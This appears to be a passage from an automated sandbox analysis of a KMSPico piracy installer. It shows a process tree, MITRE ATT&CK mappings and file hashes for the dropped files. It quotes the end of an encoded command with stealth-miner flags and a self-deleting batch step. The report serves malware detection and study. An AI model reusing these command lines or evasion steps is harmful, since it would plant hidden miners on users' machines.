zlPpe8nswpj/zcAVCLBhUlm9sY34vjQq0itaudlGX4mwMO3GcTeyH461x/gW99ZGCmlBrddKTStgFlXFbLaQcjYM6Q9nReFU/SSEVH4HbRN1pB33v1VcSGJFEXQsRuamt0MTxYxKeM6j61UowliQEzPL9t5zKkOKYynZsmic5lIPduq7PjGOo1Pj3n0ZuKXOXlBLF1RJ3S62O/4nNKrF76DICD4U5rJ9lgRnZOwh/XJShQTe6noFwal7XDj2I1u6YAOj+ZwqAFbLe3UPv1yEP0H/TVt3Arr0YXnOuqYdLL5UrWt3pQNKXg9xEUjP9wLeUofQWJ3IRZyjXswADMdnA3mznyi3LmSNmt3ggnO6yTHzO+wAxlJ8REoSYBgP7eF1ut2wqDkNImklbOL4K+qGR5EQ8iXsKBtUwkysE4lQLRNb3/R8uAMf04DBZ9x2UIfUibHpGkFbsZhN0gWR2/LROgbFKv99b+D5ozvcFmjohlDvGKviKVFJUCFD0iJPwZCiFOaqQDgwqZZQWq2BA+BAy/9vzS7oQppOLn/YBDGGyPaLLnPBfC3MhPjWPpUYc7rZKwDur/U0h+kSSpXQINp2uNC7aTxWJJAbZdCOvhwH5B/Vv3SVbJ9ocFkmRa6pP3LP9smdfzUKuicNDOVbZgNQpPF3v4bgE7tHbK0BeRb64fsYoBdCfCgixrYjz8Qr0QJ8/HZzoyjeY4Xe7+zY7QhR0SNjetmkJN9RzGvznCdgwTMy/zzQvEk3MwwK6qHBJIul9tI51JQ+jLfvv6RRisa+m5ZMhbLToIpGmTLhZRcQg/P+NaR3e90tNJJbHTkW/68KHgALH+GAr0QBLryTC5IsZRPtCNPSp9sZtvSB0YZydsKcV7waUSt5X5+YwkHhnzI6wfuupXnfttHD9Maj8NoJd14Wn4WrlML80Rn7jjND1epfyIE1LpkzdWo5PMEpElE8HX0E965rvAyD46YHSjZ9ysq1gw3JyOaIo4TddMYNNkG2ShHjJAgepsS+pG5wqLtrCUy+uXfGbqEZPQbHytyBuGCeq7Icli6Rq5g" --cinit-idle-wait=3 --cinit-idle-gpu=100 --cinit-stealth --cinit-etc
        8⤵
        
        PID:4704
- - C:\Program Files (x86)\KMSPico 10.0.6\KMSpico_setup.exe
    "KMSpico_setup.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1216
  - - C:\Users\Admin\AppData\Local\Temp\is-86CDR.tmp\KMSpico_setup.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-86CDR.tmp\KMSpico_setup.tmp" /SL5="$B0116,2952592,69120,C:\Program Files (x86)\KMSPico 10.0.6\KMSpico_setup.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:2872
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\deldll.bat" "
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:656
- - C:\Windows\SysWOW64\PING.EXE
    ping -n 2 -w 1000 127.0.0.1
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:244

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

KMS.exe

Path C:\Program Files (x86)\KMSPico 10.0.6\KMS.exe
Size 763KB
SHA256 6606d759667fbdfaa46241db7ffb4839d2c47b88a20120446f41e916cad77d0b
MD5 0a50081a6cd37aea0945c91de91c5d97
SHA1 755309c6d9fa4cd13b6c867cde01cc1e0d415d00
SHA512 f0a4e9a3dc065df2182527b17077c822d4535db86bf61f5ee795ee469b15159560a8e81e60d3037f3de1bb38e92f0fc8a422c2656882650d699e2b96948f9846
SSDEEP 12288:baWzgMg7v3qnCiOErQohh0F49CJ8lnyzQpJ2KNP3A8wnqqF:uaHMv6Carj1nyzQpJ2KNPw/
TLSH
T1CAF4BF12B7C680F6D95338B51A7BE32BEF3565194327C487A7F03E729E211405B3A7A2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

KMSPico Host.exe

Path C:\Program Files (x86)\KMSPico 10.0.6\KMSPico Host.exe
Size 2.0MB
SHA256 5d59cdd5f8ab2612c0fa792e87c9eec3974ee9d6dfa10b0565c3db078f65532b
MD5 7da18ee9e0964b3f87b689ddf9419070
SHA1 686b128c4c8f4e742448dce1dc1d4228d767fbff
SHA512 3465b741f3313c2ebb24daab57dfaddd3eac306f2cafca821dc2ebe7455c24016431942a9c203639234e0c5d5c76034b52dd17e1693556a2b14b334c40cda4ae
SSDEEP 49152:xNK6wgzem8GE1qqR4o6h34QyzdWW3NRvwqwDejpSRDCpi+cOapox:W6j4vmo6hVyEW3U1TDC0VOBx
TLSH
T155953361C53722B1C776D1FAF09CB7AED8B14774CD98E1B3C6ECA7D8A18C01262651A3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

KMSPico Service.exe

Path C:\Program Files (x86)\KMSPico 10.0.6\KMSPico Service.exe
Size 2.1MB
SHA256 ac257c83e0bb14c183e807cf2474cda82ca9817e98575fe2d79c94c63c47ea73
MD5 940b2ac719d9bf9c25bfc583125f07a0
SHA1 2956d51223a98c816238e6720f29afadb3e12917
SHA512 33cebc34d4909fcff6112730f52c1c2741af6e5d5605743ccbfb6acb2f77dda814aa7f21d4192dd109be3c5db15e29e78e4d0d582219cc75dc997c92ed9bc9f5
SSDEEP 49152:NEvZaP6QZ6kLWN7nZNQvhFRBTTRlBQzKKK0x1tIWB:NcLQIX+J9TTRlqzKKX1K
TLSH
T1CEA5332A76DC7E35E16622778B1F82857FF474F4696643838CFC61499E24EB603310B6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

KMSpico_setup.exe

Path C:\Program Files (x86)\KMSPico 10.0.6\KMSpico_setup.exe
Size 3.1MB
SHA256 64c731adbe1b96cb5765203b1e215093dcf268d020b299445884a4ae62ed2d3a
MD5 a02164371a50c5ff9fa2870ef6e8cfa3
SHA1 060614723f8375ecaad8b249ff07e3be082d7f25
SHA512 6c6903f3a3092fd3d63c373189f2c06e12de032ee4fd6b80a15f58eaeb2079f3ae8a8bcdac85a358b1f9070b192b1c8260f9aa127d009b5afce475f966e91326
SSDEEP 98304:CgbTbhBxCLS0Kx/XRCsFlPsKh9ApbeicTkxchy6pA32b7SuzWl:rxBxCLS3xZCsFyBzxcE6pAGbq
TLSH
T132E5332B829A24BDD1513BF68421A42899637FDB29B200315CFC36E09E7B41BDD4E77D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RUN.bat

Path C:\Program Files (x86)\KMSPico 10.0.6\RUN.bat
Size 521B
SHA256 fcfa2ce15e9b09e654a7ab8db2ffda776455f78ec5312c5fd5c87bb2f3a627e1
MD5 bc2564e669adfffefd05d1897392eebc
SHA1 51146d2beeea5eaa674f52cfea6d9dd38693a922
SHA512 b5551d12a8a4ad93152ca488d0c960bfd2d3c902be7a7222def5c853a4c3b38bc23ea78f95c5573acd364f8cc613d2f3ee743e0034a9874c9c4f8f259133f98d
TLSH
T1AAF05906790470B693EF0DB89C387A50BE0324D71A55FD80C9C7117C159758831BC223
MD5 SHA1 SHA512 TLSH

Submit Download

conhost.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log
Size 539B
SHA256 74f5fd99f66fcffa14a0927a9767c956120e90e714abea702b51a919c60d3ab0
MD5 2d0c598bdafdf3bca91ec28b81c4474b
SHA1 2e7c2a21ceb95b3a774461e15f1f0a9ede36a3d5
SHA512 53fc7d64040f563601f7b5e63b1c1bbc7a98a4b1591bb18456bd3edb774c47859b0b56325ffc93128cdac547419ab11cfa1685f301b20ecb283f7414d4aed8a5
TLSH
T121F050303361A0D445662F432D2C26DD53BF4345B250AE487554725DD936D1B6F310E3
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 4KB
SHA256 e27390d57580e3dfba07bec3d8e430203bbc91e90f6937079b3fd52abc721bd4
MD5 dbbd2d4458d7e8094846420da595dfc3
SHA1 267cb47b904f14a519d2bd73abfdb30e1a06e1a6
SHA512 480e7ca865b811f79f35fcfe7a9ac0280b48d1f9459873d18f000db55c72d53345cf3a10075c1ac407439545f699ce2a7bef38b00b4e19439edf384b00045531
SSDEEP 96:iq4uYqGEo9xx+incqKXq3qotzYNYr7aqCiNLm7RIz+cBPzQh0nRAy6FcxZcosQSm:iq4uYqGEUdncqKXq3qotzYuWq2Iz+wx
TLSH
T11D91EE323375E0D5C8263F07192C19C463AF439AEA54AF48B258620EED2714BDF122F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download